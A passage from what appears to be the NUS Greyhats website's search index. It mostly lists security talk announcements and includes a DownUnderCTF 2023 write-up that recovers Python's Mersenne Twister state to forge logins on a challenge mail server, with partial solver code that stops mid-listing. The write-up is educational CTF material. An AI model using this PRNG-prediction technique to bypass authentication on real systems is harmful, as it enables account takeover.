https://nus-sg.zoom.us/meeting/register/tZIqd-qhrzopH90kFVsa1_98fY1Yq9r-VetY\nTalk: 7:00pm-7:45pm Title: My OSCP Journey\nDescription OSCP (Offensive Security Certified Professional) is an entry-level certification by Offensive Security that recognizes a person\u0026rsquo;s skills in penetration testing techniques and methodologies. In this talk, Jia Le will be sharing his experience in tackling this notoriously difficult and hands-on certification.\nRead more about the certification here: https://www.offensive-security.com/pwk-oscp/\nSpeaker Bio Tan Jia Le is a Year 2 Information Security student at the National University of Singapore (NUS) and a member of NUS Greyhats. He has a keen passion for penetration testing and had obtained the Offensive Security Certified Professional (OSCP) certification earlier this year. During his free time, he enjoys following security trends on Twitter and reading about security research findings. He also participates in Capture-The-Flag (CTF) competitions and focuses towards web challenges.\nTalk: 7:45pm-8:30pm Title: So you want to be a Malware Reverse Engineer (RE) ?\nA sharing of tips/lessons gathered from a 5 year old malware RE.\nSlides here\nDescription Do you know what to do when you receive a piece of binary? How can you tell if it\u0026rsquo;s malicious? What are the steps taken to analyze this binary? What are the tools and techniques you can apply to examine this binary? What pitfalls to avoid and overcome with some of these static and dynamic analysis tools? How do you go about extracting the IOCs(Indicators of compromise) from the binary? Many tools can be utilized to dissect malware, but do you know which is the most important and how to take care of it.\nThe talk will focus on Windows PE but the techniques could also be applied to other file formats. There won\u0026rsquo;t be anything that is tied to a particular malware family but the content of the talk is gathered from the lessons learned while \u0026lsquo;dancing\u0026rsquo; with malware samples.\nSpeaker Bio Mark is a malware reverse engineer since 2017. His job requires him to comb through tens of binaries every week. He focuses on taking apart malware to determine its evasion techniques and IOCs. He has to analyze binaries of multiple formats e.g. PE, ELF, Mach-O, doc, pdf.\nTo him, every piece of binary has a story waiting for a malware reverse engineer to tell it.\n","permalink":"https://nusgreyhats.org/posts/secweds/ay2122s1/sw2710/","summary":"Zoom Link: https://nus-sg.zoom.us/meeting/register/tZIqd-qhrzopH90kFVsa1_98fY1Yq9r-VetY\nTalk: 7:00pm-7:45pm Title: My OSCP Journey\nDescription OSCP (Offensive Security Certified Professional) is an entry-level certification by Offensive Security that recognizes a person\u0026rsquo;s skills in penetration testing techniques and methodologies. In this talk, Jia Le will be sharing his experience in tackling this notoriously difficult and hands-on certification.\nRead more about the certification here: https://www.offensive-security.com/pwk-oscp/\nSpeaker Bio Tan Jia Le is a Year 2 Information Security student at the National University of Singapore (NUS) and a member of NUS Greyhats.","title":"SecWed #271021"},{"content":" Talk 1: 7 PM to 7:35 PM Title: Cryptography - Diophantine equation\nDescription Diophantine equation is an equation where only the integer solutions matter. This has shown up in various cryptographical schemes like RSA, Diffie Hellman Key Exchange, and Elliptic Curve Cryptography. In this talk, Kel Zin will analyze some interesting CTF problems related to diophantine equation.\nSpeaker Kel Zin is a Year 2 NUS Computer Science student and a member of Greyhats. He likes Crypto.\nTalk 2: 7:35 PM to 8 PM Title: A practical approach to Image Forensics\nDescription As the famous adage goes, \u0026ldquo;A picture is worth a thousand words\u0026rdquo;. Images are commonly used in the internet we consume everyday, from social media to work. In this talk, we explore examining what an image is and how forensics \u0026amp; security could apply.\nBio Chan Jian Hao is an Information Security student at the National University of Singapore (NUS) and a member of NUS Greyhats. He enjoys fiddling with malwares and the forensics analysis of them, while at times pwning machines for penetration testing. During his free time, he spends it mindlessly playing computer games trying to escape from elohell.\nTalk 3: 8 PM to 8:15 PM Title: Hoodwinked\nDescription Steganography is the art of misdirection. The main idea is to trick a suspecting observer into thinking that nothing is there, when everything is present in plain sight. In this talk, Nigel will cover: (1) what steganography is, (2) LSB-steganography and (3) its applications in digital watermarking.\nBio Nigel enjoys algorithmic problems and composing music, though he is not blessed enough to be good at either. Pre-covid, he would sometimes be spotted at the pool.\nTalk 4: 8:15 PM to 8:30 PM Title: An introduction to XXE attacks\nDescription As web applications become increasingly prevalent in this day and age, the potential for attackers to exploit web-based vulnerabilities in these applications becomes increasingly greater. In this talk, Brandon will touch on on XML External Entity (XXE) Attacks, a particular form of web-based attacks that is less well-known.\nBio Brandon is an Information Security student and a member of Greyhats. He enjoys working with web-based applications as well as learning about various web exploitation techniques.\n","permalink":"https://nusgreyhats.org/posts/secweds/ay2122s1/sw2010/","summary":"Talk 1: 7 PM to 7:35 PM Title: Cryptography - Diophantine equation\nDescription Diophantine equation is an equation where only the integer solutions matter. This has shown up in various cryptographical schemes like RSA, Diffie Hellman Key Exchange, and Elliptic Curve Cryptography. In this talk, Kel Zin will analyze some interesting CTF problems related to diophantine equation.\nSpeaker Kel Zin is a Year 2 NUS Computer Science student and a member of Greyhats.","title":"SecWed #201021"},{"content":" Talk 1: 7:00pm-7:45pm Title: A Guide on Antivirus Evasion\nDownload Slides\nDescription Antivirus evasion is crucial in many cybersecurity research and operations. For example, red team exercises are often conducted in a hardened production environment. While open-source tools may help in the enumeration or exploitations of services, they are often detected and flagged by antivirus.\nIn this talk, we will look into manual and partially automated ways to achieve antivirus evasion. In addition, we will explore two case studies on evading detection of popular hacking tools - SharpHound and mimikatz.\nSpeaker Bio Glenice graduated from NUS Information Security in 2020 and is an alumnus of NUS Greyhats. She is currently working as an associate cybersecurity specialist at Government Technology Agency. Her work focuses on web security, cloud technology, and social engineering practices.\nTalk 2: 7:45pm-8:30pm Title: Dirty Deeds Done Dirt Cheap\nDescription What are real world bugs made of? A miserable pile of secrets. This talk is not about cool exploit techniques, nor is it about the latest bypass using complex machinery. In this talk, I present some of the cheapest no-brainer techniques that have been used to find security bugs that you as a security professional should know. We will uncover some of the dirtiest tricks people use to write software and how to break it. You won\u0026rsquo;t like what you see, but don\u0026rsquo;t hate the player, hate the game.\nSpeaker Bio Wai Tuck is a PhD student at SMU, focusing on the intersection between security and machine learning. He graduated from Carnegie Mellon University with a Masters in Information Security, where he actively participated in CTFs and worked on research in dynamic analysis of Javascript code. He also previously contributed to nmap, creating the first reliable scanning script for SambaCry. He is OSCP, OSCE, OSWP, and OSWE certified.\n","permalink":"https://nusgreyhats.org/posts/secweds/ay2122s1/sw1310/","summary":"Talk 1: 7:00pm-7:45pm Title: A Guide on Antivirus Evasion\nDownload Slides\nDescription Antivirus evasion is crucial in many cybersecurity research and operations. For example, red team exercises are often conducted in a hardened production environment. While open-source tools may help in the enumeration or exploitations of services, they are often detected and flagged by antivirus.\nIn this talk, we will look into manual and partially automated ways to achieve antivirus evasion.","title":"SecWed #131021"},{"content":"Talk: 7:00pm-8:30pm The presentation will introduce what a Security Operations Center (SOC) is, its typical mission and responsibilities, and the different roles that make up a SOC. The speakers will talk about the various components of a SOC and how they help one another effectively detect security threats.\nThey will also discuss security incidents and how we respond to them. Finally, they will conclude the presentation with a show and tell how they can acquire an infected or compromised machine and what forensic artifacts they can uncover for our investigations.\nSpeakers Dr. Choo Fai Cheong is a senior manager at UKG. He is a founding member of UKG’s APAC Security Operations Center, where he has helped build the UKG\u0026rsquo;s SOC in Singapore. Dr. Choo is responsible for the day-to-day security operations and leads the team on threat hunting, detection development, and incident response. Before joining UKG, he was a senior consultant at Mandiant, where he handled cyber security incidents and performed forensic analysis.\nIan Starr Esguerra is a Senior Security Analyst at UKG. He has recently joined UKG’s APAC Security Operations Center, where he is part of the team that ensures the company’s security by analyzing security events, conducting incident response and investigations. Before joining UKG, he was an Incident Response Analyst at Barclays, where he performed a similar role. He was also a Malware Analyst at different AntiVirus companies, where he did the analysis, detection, and reverse engineering of prevalent malware.\n","permalink":"https://nusgreyhats.org/posts/secweds/ay2122s1/sw0610/","summary":"Talk: 7:00pm-8:30pm The presentation will introduce what a Security Operations Center (SOC) is, its typical mission and responsibilities, and the different roles that make up a SOC. The speakers will talk about the various components of a SOC and how they help one another effectively detect security threats.\nThey will also discuss security incidents and how we respond to them. Finally, they will conclude the presentation with a show and tell how they can acquire an infected or compromised machine and what forensic artifacts they can uncover for our investigations.","title":"SecWed #061021"},{"content":"We are back with a brand new site!\n","permalink":"https://nusgreyhats.org/posts/new-site/","summary":"We are back with a brand new site!","title":"New Website"},{"content":" Talk 1: 1900Hrs - 1945Hrs Talk Title: Unusual Applications of OpenAI in Cybersecurity\nOne of the most prominent examples of AI-generated synthetic media’s impact on cybersecurity is in the field of social engineering and information operations. However, AI language models can still pop up in interesting places. Could we use OpenAI to convert assembly to pseudocode while reverse-engineering binaries? How about locating vulnerabilities in code? Let’s dive down the rabbit hole of OpenAI’s API, covering the latest advanced features such as fine-tunes, searches, and classifications.\nPre-talk Preparations You may wish to read the AI Phishing Whitepaper published by Black Hat USA or watch the AI Phishing DEF CON talk.\nSpeaker Eugene hacks for good! From Amazon to Zendesk , he has helped secure products from a range of vulnerabilities. At the Government Technology Agency of Singapore (GovTech), he protects citizen data through offensive security research and penetration testing.\nWhile he focuses on application security and vulnerability research, he is also involved in a variety of domains such as artificial intelligence and social engineering. Prior to GovTech, he contributed to cyber defense projects with the Singapore Armed Forces and was awarded the Most Valuable Hacker title at HackerOne\u0026rsquo;s H1-213 live hacking event for the US Air Force, UK Ministry of Defense, and Verizon Media.\nHis work has been featured at top conferences such as Black Hat and DEF CON as well as industry publications like WIRED and The Daily Swig. He writes at https://spaceraccoon.dev/, where he shares tips and tricks from his white hat hacking journey, including zero-days in core npm packages (CVE-2020–7788) and office applications (CVE-2021-33035). He looks forward to growing and learning in the exciting world of cybersecurity.\nTalk 2: 1945Hrs - 2030Hrs Talk Title: How to get into CTFs\nCTF (Capture the Flag) competitions are contests of skills with the aim of defeating security to get access to the \u0026lsquo;flag\u0026rsquo; - a token that can be exchanged for points. CTFs are becoming more popular in Singapore with increased funding from the government, and due to more lucrative prize rewards. 1st Place prize has increased from $2,000 to $5,000 for CrossCTF, and DSO-NUS CTF 1st Place being $10,000, for example.\nSo, how does one participate in such competitions, and how does one win one? In this talk, we will go through the acquiring of skills, the mindset, and tactics necessary to win.\nSpeaker Akash is a Computer Science Student studying at NUS and a Member of Greyhats. He has participated in many CTF challenges and has a great amount of experience up his sleeve. He mainly focuses on Reverse Engineering and Pwn.\n","permalink":"https://nusgreyhats.org/posts/secweds/ay2122s1/sw1509/","summary":"Talk 1: 1900Hrs - 1945Hrs Talk Title: Unusual Applications of OpenAI in Cybersecurity\nOne of the most prominent examples of AI-generated synthetic media’s impact on cybersecurity is in the field of social engineering and information operations. However, AI language models can still pop up in interesting places. Could we use OpenAI to convert assembly to pseudocode while reverse-engineering binaries? How about locating vulnerabilities in code? Let’s dive down the rabbit hole of OpenAI’s API, covering the latest advanced features such as fine-tunes, searches, and classifications.","title":"SecWed #150921"},{"content":" Talk 1: 1900HRs - 1945HRs Title: Identifying Bugs in Router Firmware at Scale with Taint Analysis\nDescription Taint analysis is a very useful technique in reverse engineering and bug hunting. For some common vulnerability classes such as command injection or buffer overflow, it can be tedious for a researcher to find them through manual reverse engineering. In this talk, Daniel will share about a tool that he helped develop during his internship, which uses taint analysis techniques to automate the process of finding such bugs in router firmware.\nBio Daniel is a Year 3 Computer Engineering student in NUS. He is currently an intern at STARLabs, to fulfil his Industrial Attachment programme requirement by the Faculty of Engineering. He is also a member of the Greyhats core team.\nTalk 2: 1945HRs - 2030HRs Title: The Spectre of Ransomware and the Criminal Underground\nDescription The Criminal Underground today is a vibrant ecosystem, with many Criminal Enterprises existing to support Big Game Hunting (BGH) Ransomware Operations.\nNotable to the past year is the emergence of Access Brokers supporting a variety of Criminal Adversaries, including the most prolific Ransomware Operators, with initial access into their target environments.Also, a number of dramatic shifts have been observed in the BGH space, including the exponential surge in the adoption of the Extortion and Data Leaks tactics and the rise of Ransomware-as-a-Service.\nThis talk strives to take a deep dive into these recent threat trends and offer the audience with useful insights to better defend your organisation against the spectre of Ransomware and eCrime.\nBio Aaron serves as a Strategic Threat Advisor at Crowdstrike. He is responsible for CrowdStrike’s Threat Intelligence business across Asia-Pacific (APAC). Prior to his current role, Aaron was an Intelligence Consultant at Recorded Future. He was responsible for the design and implementation of threat Intelligence strategies for Commercial and Government Accounts across APAC.\nAaron got his start in Security and Threat Intelligence in the Singapore Armed Forces as a Military Intelligence Officer. He concluded 12 years of Active Duty in 2019 and has served in multiple Command Appointments in classified Intelligence Units, and garnered Staff experience in the areas of Strategic Planning and Policy Development. In his penultimate tour of duty, Aaron was instrumental in establishing the Defence Cyber Organisation (DCO), which is akin to Singapore’s Cyber Command.\n","permalink":"https://nusgreyhats.org/posts/secweds/ay2122s1/sw0809/","summary":"Talk 1: 1900HRs - 1945HRs Title: Identifying Bugs in Router Firmware at Scale with Taint Analysis\nDescription Taint analysis is a very useful technique in reverse engineering and bug hunting. For some common vulnerability classes such as command injection or buffer overflow, it can be tedious for a researcher to find them through manual reverse engineering. In this talk, Daniel will share about a tool that he helped develop during his internship, which uses taint analysis techniques to automate the process of finding such bugs in router firmware.","title":"SecWed #080921"},{"content":" Talk 1: 1900Hrs - 1945Hrs Talk Title: Cyber Risk Quantification: Let\u0026rsquo;s talk cyber risk\nCybersecurity have been growing in importance and frequently play a key role in organisations in this day and age. With the recent growth of cyber threats and implementation of new cybersecurity laws, the possibility and consequences of exploited cyber risks have increased exponentially as well. As cybersecurity specialists, how can we translate such costs and the benefits of new security controls into something that can be universally understood across the organisation? In this talk, Debbie will be giving a brief introduction into quantifying cyber risks and discuss how we, as cybersecurity specialists, can help our organisations make smarter cybersecurity investments.\nSpeaker Debbie is a final year undergraduate student at NUS, majoring in Information Security. She previously graduated from Nanyang Polytechnic with a Diploma in Cyber Security and Forensics. As part of her roles as CISO summer intern at UBS, Debbie contributed to a white paper on Cyber Risk Quantification.\nTalk 2: 1945Hrs - 2030Hrs Talk Title: Static code analysis with Semgrep\nStatic code analysis is a powerful tool in finding bugs in code. In this talk, we will show off the power of Semgrep, an open source static analysis tools, in matching complicated code patterns. The talk will demonstrate the power of the hundreds of community contributed Semgrep rules, provide a brief tutorial on writing custom Semgrep rules tailored to a code base, and discuss the various use cases where Semgrep can make a difference.\nSpeaker Terry is a security consultant at Centurion Information Security. He enjoys reverse engineering and fuzzing applications in his spare time.\n","permalink":"https://nusgreyhats.org/posts/secweds/ay2122s1/sw0109/","summary":"Talk 1: 1900Hrs - 1945Hrs Talk Title: Cyber Risk Quantification: Let\u0026rsquo;s talk cyber risk\nCybersecurity have been growing in importance and frequently play a key role in organisations in this day and age. With the recent growth of cyber threats and implementation of new cybersecurity laws, the possibility and consequences of exploited cyber risks have increased exponentially as well. As cybersecurity specialists, how can we translate such costs and the benefits of new security controls into something that can be universally understood across the organisation?","title":"SecWed #010921"},{"content":"Talk: 1900Hrs - 2030Hrs Talk Title: Cyber threat intelligence: Winning the war on cybercrime\nIn this session, Lionel Bruchez from the UBS AG Chief Information Security Office will introduce the latest cybercrime trends and how threat intelligence enables the organization to remain ahead of the game.\nBeyond traditional cyber defence, Lionel will also pave the way towards leveraging cyber intelligence to proactively identify market landscape, risks and investment opportunities to support firms’ revenue generation and growth opportunities.\nSpeaker Lionel Bruchez is the COO of the UBS Intelligence Center and deputy APAC Chief Information Security Officer (CISO). In his roles, Lionel focuses on generating a business context for cyber defence activities and providing strategic and tactical awareness to key decision-makers across the firm. Lionel currently oversees the development of the UBS CISO Market Insights and Business Advisory service with a key focus on leveraging cybersecurity to enable a competitive advantage for organizations and institutions. Lionel comes from an academic background in ETH Zürich and EPF Lausanne, where he specialized in Quantum Cryptography, probabilistic machine learning, and research on next-generation Internet architectures.\n","permalink":"https://nusgreyhats.org/posts/secweds/ay2122s1/sw2508/","summary":"Talk: 1900Hrs - 2030Hrs Talk Title: Cyber threat intelligence: Winning the war on cybercrime\nIn this session, Lionel Bruchez from the UBS AG Chief Information Security Office will introduce the latest cybercrime trends and how threat intelligence enables the organization to remain ahead of the game.\nBeyond traditional cyber defence, Lionel will also pave the way towards leveraging cyber intelligence to proactively identify market landscape, risks and investment opportunities to support firms’ revenue generation and growth opportunities.","title":"SecWed #250821"},{"content":"Talk 1: 1900HRs - 1945HRs Title: Defending Singapore’s Digital Borders\nDescription Cyberspace will be increasingly central to maintaining Singapore’s economic success and geopolitical relevance. As one of the most connected countries globally, Singapore’s connectivity and digitalisation will only continue to intensify under our Smart Nation initiative. At the same time, cyber threats continue to proliferate. We see a variety of cyber threats from terrorists, criminal, and state-sponsored organisations, especially as Covid-19 has forced many of us to work, learn, and play from home, on our mobile and electronic devices.\nMINDEF/SAF is responsible for enhancing Singapore’s security and sovereignty, no matter where the threats come from. Join us to find out more!\nBio COL Justiin Ang, is Head, Cyber Strategy and Policy Department, of the Defence Cyber Organisation. COL Ang serves as the principal advisor to the Defence Cyber Chief for all matters pertaining to development and implementation of cyber strategies and plans. Prior to this, COL Justiin Ang held the appointment of Director (Strategic Policy, Policy-Operations and Futures) in the Defence Policy Office, where he oversaw the development of strategies to guide MINDEF’s defence relations, as well as policy matters pertaining to the SAF’s operations. COL Justiin Ang joined the Defence Cyber Organisation in 2020 after graduating from Carnegie Mellon University with a Masters in Science in Information Security. An Army infantry officer by vocation, he has experience in policy, operations, and talent management, having served with MINDEF/SAF for more than 20 years.\nTalk 2: 1945HRs - 2030HRs Title: Adversarial Attack on Machine Learning Models\nDescription Machine learning models, especially deep neural networks, have achieved excellent performance in tasks such as image classification, object detection and natural language processing. Nonetheless, most machine learning models are vulnerable towards attacks using adversarial samples. A smallest perturbation on the input, such as change of a pixel’s value, could cause the model to give the wrong result. In this talk, I will give a brief introduction about some of the adversarial attacks and discuss what we can do to mitigate them.\nBio Jiyi graduated from NUS School of Computing in 2018 with first class honors. Currently, he is a part-time PhD student in NUS, working with Prof. Chang Ee-Chien on topics in machine learning security. He is also working as a research scientist in PayPal.\n","permalink":"https://nusgreyhats.org/posts/secweds/ay2122s1/sw1808/","summary":"Talk 1: 1900HRs - 1945HRs Title: Defending Singapore’s Digital Borders\nDescription Cyberspace will be increasingly central to maintaining Singapore’s economic success and geopolitical relevance. As one of the most connected countries globally, Singapore’s connectivity and digitalisation will only continue to intensify under our Smart Nation initiative. At the same time, cyber threats continue to proliferate. We see a variety of cyber threats from terrorists, criminal, and state-sponsored organisations, especially as Covid-19 has forced many of us to work, learn, and play from home, on our mobile and electronic devices.","title":"SecWed #180821"},{"content":" Talk 1: 1900Hrs - 1945Hrs Talk Title: Greyhats Introduction\nDo you find yourself wondering what the Greyhats team is often up to? Want to get to know more about the information security industry? Want to further hone your information security skills? 🖥 🚀\nLearn more about NUS\u0026rsquo; first and only information security interest group and the various activities that we embark on together! Join us at our welcome tea on 11 August 2021 from 7pm to 8.30pm, and get to know some of us and our team\u0026rsquo;s work first hand! 👨‍💻👨‍💻👨‍💻👨‍💻\nSpeaker NUS GreyHats is a special interest group designed to spark students\u0026rsquo; interest in information security and advance the level of security proficiency towards the aim of contributing to the growing need for cyber defenders in the government and private sectors.\nTalk 2: 1945Hrs - 2030Hrs Talk Title: Enigma and Bombe: how they encrypt and how they decipher in WWII\nMost cybersecurity professionals probably are aware of the significant role of codebreakers in WWII, in particular the encryption device Enigma and the code-breaker Bombe that often appeared in popular media. So, what about the technical details? In this talk, I will describe the details of Enigma \u0026amp; Bombe, up to the point that we could simulate them. While the experiences on both machines likely shaped development of modern cryptography, we probably won’t need such electro-mechanical system anymore. Nonetheless, it would be a fun topic to kickstart this seminar series.\nSpeaker Ee-Chien Chang is an Associate Professor in the School of Computing at National University of Singapore (NUS). He received his PhD in Computer Science from New York University and was a postdoctoral fellow with DIMACS in Rutgers University and NEC Labs America. His research focuses on cybersecurity security and is particularly intrigued by cross-domain problems. His earlier works include multimedia security, such as image forensic, image watermarking and biometric cryptography, which is in the intersection of multimedia and applied cryptography. More recently, he has been investigating issues on security of machine learning under adversarial environment, and application of the hardware-based Trusted Execution Environment in the cloud. He has published in reputable conferences and journals. He is a lead-PI of National Cybersecurity R\u0026amp;D Laboratory (NCL), NUS, and deputy director of the Centre for Technology, Robotics, Artificial Intelligence \u0026amp; the Law (TRAIL), NUS.\n","permalink":"https://nusgreyhats.org/posts/secweds/ay2122s1/sw1108/","summary":"Talk 1: 1900Hrs - 1945Hrs Talk Title: Greyhats Introduction\nDo you find yourself wondering what the Greyhats team is often up to? Want to get to know more about the information security industry? Want to further hone your information security skills? 🖥 🚀\nLearn more about NUS\u0026rsquo; first and only information security interest group and the various activities that we embark on together! Join us at our welcome tea on 11 August 2021 from 7pm to 8.","title":"SecWed #110821"},{"content":"","permalink":"https://nusgreyhats.org/resources/","summary":"resources","title":"Resources"},{"content":"","permalink":"https://nusgreyhats.org/secweds/","summary":"secweds","title":"Security Wednesdays"},{"content":"","permalink":"https://nusgreyhats.org/team/","summary":"team","title":"The Team"}] \ No newline at end of file +[{"content":"Talk Title: Practical Application of Fuzzing \u0026ndash; Finding CVE-2021-3376\nDownload Slides\nDescription Yi Tian is a current member of NUS Greyhats, and a former intern of Star Labs. During his internship with Star Labs, he wrote fuzzers and harnesses and found an information disclosure vulnerability in Windows Media Foundation, CVE-2021-33760. Fuzzing is often misunderstood and through this presentation, we hope to enlighten you on just what goes into building a harness and running a fuzzer. We\u0026rsquo;ll also take a quick look at a real-world CVE discovered using a fuzzer, shedding light on the practical application of fuzzers.\n","permalink":"https://nusgreyhats.org/posts/secweds/ay2324s1/sw1511/","summary":"Talk Title: Practical Application of Fuzzing \u0026ndash; Finding CVE-2021-3376\nDownload Slides\nDescription Yi Tian is a current member of NUS Greyhats, and a former intern of Star Labs. During his internship with Star Labs, he wrote fuzzers and harnesses and found an information disclosure vulnerability in Windows Media Foundation, CVE-2021-33760. Fuzzing is often misunderstood and through this presentation, we hope to enlighten you on just what goes into building a harness and running a fuzzer.","title":"SecWed #151123"},{"content":"Talk Title: From Software Engineer to Security Leadership, sharing insights and perspectives from my career journey to help you with yours\nDescription Leading up to his current post as Global Head of Cyber Security Services at Crypto.com, Mr Tim Yip has had an impressive career serving in global banks, fortune 500 technology companies, the public service and the military. Some of his past roles include Vice President, Global Head of Intrusion Forensics at JP Morgan. Join us this SecWed to hear more about his career journey!\n","permalink":"https://nusgreyhats.org/posts/secweds/ay2324s1/sw1810/","summary":"Talk Title: From Software Engineer to Security Leadership, sharing insights and perspectives from my career journey to help you with yours\nDescription Leading up to his current post as Global Head of Cyber Security Services at Crypto.com, Mr Tim Yip has had an impressive career serving in global banks, fortune 500 technology companies, the public service and the military. Some of his past roles include Vice President, Global Head of Intrusion Forensics at JP Morgan.","title":"SecWed #181023"},{"content":"Metadata This challenge is from DownUnderCTF 2023. I played under NUS Greyhats instead of the usual SEE and we won 1st. However I didn\u0026rsquo;t really contribute much, I joined halfway through the CTF and had other commitments and accumulated a total of only ~1000/12000 of the eventual points the whole team made.\nRegardless, I\u0026rsquo;m happy that we blooded Encrypted Mail 31 hours into the CTF (beating SEE which I betrayed, sorryyyy Neobeo and Warri). Encrypted Mail was the 2nd hardest crypto challenge, and the hardest was, unfortunately for the author Joseph, unsolved.\nChallenge Points: 449 Solves: 3 Author: joseph Zero-knowledge authentication, end-to-end encryption, this new mail app has it all. For a limited time, admins may be sending flags to users. Sign up today to get yours!\nnc 2023.ductf.dev 30000\nObjective Players are given a minimal mail-server implementation to interact with. There are 4 options to choose from:\nRegister Login Send Message View Inbox When you register, the server asks for your username and your public key $y$ that will be used during Login. The intended usage of this mail server would require you to generate a private key $x$ and generate $y$ from it.\nDuring Login, the server prompts you with a series of challenges, which should require that you know the secret private key $x$ for that account to answer the challenges correctly. This is the \u0026ldquo;zero-knowledge\u0026rdquo; part of this mail server.\nOnce you log in, you can send messages and view your inbox. To send a message, you would need to input the recipient\u0026rsquo;s username. The server then replies with the recipient\u0026rsquo;s public key. You are then required to encrypt your message with the recipient\u0026rsquo;s public key, sign the message with your private key and tell the server the resulting encrypted message and signature.\nWhen you view your inbox, the server replies with all the messages you have. However, the server replies with the encrypted messages (encrypted with your public key) and the signatures (for you to verify the sender with the sender\u0026rsquo;s public key).\nIn addition to these functionalities, there are two bot accounts.\nadmin flag_haver The admin bot checks for any new accounts and sends them an (encrypted) sweet welcome message Welcome {username}!. The flag_haver bot iterates all the messages they have, and if the message is from admin (flag_haver checks the signature) and has the following format: Send flag to {username}, flag_haver obliges and sends the flag as an (encrypted) message to the user.\nflag_haver is the only account that has access to the flag, so we must get admin to send them Send flag to {username}. However, there\u0026rsquo;s nothing that prompts admin to do such a thing, so we probably have to log into admin.\nOnce we log into admin, it appears that we still need the admin\u0026rsquo;s private key to sign the message, so that flag_haver will happily read the message.\nAttack Logging into admin We start with first logging into admin. The code for this is implemented in Authenticator\ng = 3 p = 1467036926602756933667493250084962071646332827366282684436836892199877831990586034135575089582195051935063743076951101438328248410785708278030691147763296367303874712247063207281890660681715036187155115101762255732327814001244715367 class Authenticator: def __init__(self, pubkey): self.y = pubkey def generate_challenges(self, n=128): challenges = [] answers = [] for _ in range(n): b = round(random.random()) r = random.getrandbits(p.bit_length()) c = random.getrandbits(p.bit_length()) c1 = pow(g, r, p) if b == 0: c2 = pow(g, c, p) elif b == 1: c2 = pow(self.y, r, p) answers.append(b) challenges.append((int(c1), int(c2))) self.answers = answers return challenges def verify_answers(self, answers): return len(answers) == len(self.answers) and all(a == b for a, b in zip(answers, self.answers)) The authentication scheme is a zero-knowledge variant of Diffie-Hellman (I don\u0026rsquo;t know the actual name of this variant).\nThe user is expected to randomly generate a private key $x$ and compute their public key as $g^x = y ; \\mathrm{mod} ; p$ where $p$ is a prime and $g = 3$. $p$ is a strong prime so the Discrete Logarithm Problem (DLP) is hard on $\\mathbb{Z}/p\\mathbb{Z}$ is computationally hard.\nThe server knows a user\u0026rsquo;s public key $y$ and wants the user to prove that they know their private key (without actually transmitting the private key). The server generates $128$ challenges, for each challenge, it generates a boolean $b$, and random numbers $r, c \\in [0, p)$, and computes:\n$$ \\begin{aligned} c_1 \u0026amp;= g^r \\text{ } \\mathrm{mod} \\text{ } p \\\\ c_2 \u0026amp;= \\begin{cases} y^r = g^{x r} \\text{ } \\mathrm{mod} \\text{ } p \u0026amp; \\text{if b} \\\\ g^c \\text{ } \\mathrm{mod} \\text{ } p \u0026amp; \\text{otherwise} \\end{cases} \\end{aligned} $$\nThe server then returns $c_1$ and $c_2$ for each challenge, and the user is required to recover the value of $b$ for each challenge.\nSuppose the user doesn\u0026rsquo;t know the private key $x$. Then $g^c$ and $y ^r = g^{xr}$ are utterly indistinguishable as, due to the difficulty of DLP, a user won\u0026rsquo;t be able to recover $x$ from $y$, and hence $x r$ might as well be a random number just like $c$. The user is forced to guess the value of $b$ for each challenge, and since there are $128$ challenges, the probability of passing them all is $2^{-128}$, which is unreasonably small.\nHowever, if the user does know the private key $x$, the user can simply test if $c_1^x = c_2$ to get $b$.\nWe don\u0026rsquo;t know the admin\u0026rsquo;s private key, so we\u0026rsquo;re doomed right?\n$b$ isn\u0026rsquo;t random enough Let\u0026rsquo;s look at how the challenges are generated:\nimport random # ... def generate_challenges(self, n=128): challenges = [] answers = [] for _ in range(n): b = round(random.random()) r = random.getrandbits(p.bit_length()) c = random.getrandbits(p.bit_length()) c1 = pow(g, r, p) if b == 0: c2 = pow(g, c, p) elif b == 1: c2 = pow(self.y, r, p) answers.append(b) challenges.append((int(c1), int(c2))) self.answers = answers return challenges Recall that the user is to recover $b$ which should only be possible if they know their private key. However, $b$ is generated via Python\u0026rsquo;s random module, which uses a Pseudo-random number generator (PRNG) known as MT19937.\nMT19937 initialises an internal state $u$ of $624$ 32-bit integers, and at each step, it generates a \u0026ldquo;random\u0026rdquo; 32-bit integer. Note that b = round(random.random()) is just a fancy way of selecting a bit from one of the 32-bit outputs. Taking the $624$ 32-bit integer as a vector of $624 * 32 = 19938$ bits, i.e., $u \\in F_2^{19938}$ where $F_2 = \\mathbb{Z} / 2\\mathbb{Z}$ is the field of boolean, each 32-bit output $x_m \\in F_2^{32}$ is a linear transform of $u$. I.e., for each bit of output (say bit $b_n$ for the $n$-th challenge), we can associate a known vector $v_n$ such that $v_n^T u = b_n$.\nThis means that for $N$ challenges generated by the server, we can represent the vector $\\textbf{b} = (b_1 ; b_2 ; \\cdots ; b_N)$ with a known linear transformation $V u = \\textbf{b}$, where $V = (v_1 ; v_2 ; \\cdots ; v_N)$.\nThis is huge! If we know the value of vector $\\textbf{b}$ for a large enough $N$, we can recover $u$, and compute all subsequent $b_i = v_i^T u$. I.e., we can answer all subsequent challenges and log into any user without knowing their private key!\nI found this before the hint came up btw, but as I didn\u0026rsquo;t join the discord, I didn\u0026rsquo;t see the announcement calling for feedback :(.\nHow do we get $\\textbf{b}$? Since we can answer the challenges if we log into an account we created (since we know the private key), we can simply log in as many times as needed and save the answers for the challenges.\nFurthermore, $V$ is a transform $F_2^{19938} \\rightarrow F_2^{N}$. So, to solve for $u$ given the equation $V u = \\textbf{b}$, we need $N \\ge 19938$. Since we obtain $128$ values of $b_i$ each time we log in, we would need to log in $\\lceil 19938/128 \\rceil = 156$ times.\nSmall caveat, turns out, for large enough $N$, $V$ will always have a 32-bit (or 31? I forgot) kernel, which makes recovering the exact $u$ impossible. However, since for large enough $N$ the kernel remains the same, whichever $u$ that satisfies $V u = \\textbf{b}$ for $N \\ge 19938$ allows us to compute subsequent $b_i$. This was found experimentally and if anybody knows why (I suspect it\u0026rsquo;s the twisting) do let me know.\nWe can compute $V$ in a black-box manner. We go through each of the $19938$ basis vectors of $F_2^{19938}$ by setting only one bit (say the $i$-th) of $u$ and computing $\\textbf{b}$ given such $u$. $\\textbf{b}$ will be the $i$-th column vector of $V$.\ns = random.getstate() def login_sym(bidx, n=128): new_s = (s[0], (*[int(0) if i != bidx//32 else int(1)\u0026lt;\u0026lt;int(bidx%32) for i in range(624)], s[1][-1]), s[2]) random.setstate(new_s) ret = [] for _ in range(156): for _ in range(n): b = round(random.random()) r = random.getrandbits(p.bit_length()) c = random.getrandbits(p.bit_length()) ret.append(b) return ret # prng is our transform V that transforms the internal state u # into the challenge answers prng = np.zeros((624*32, 624*32), 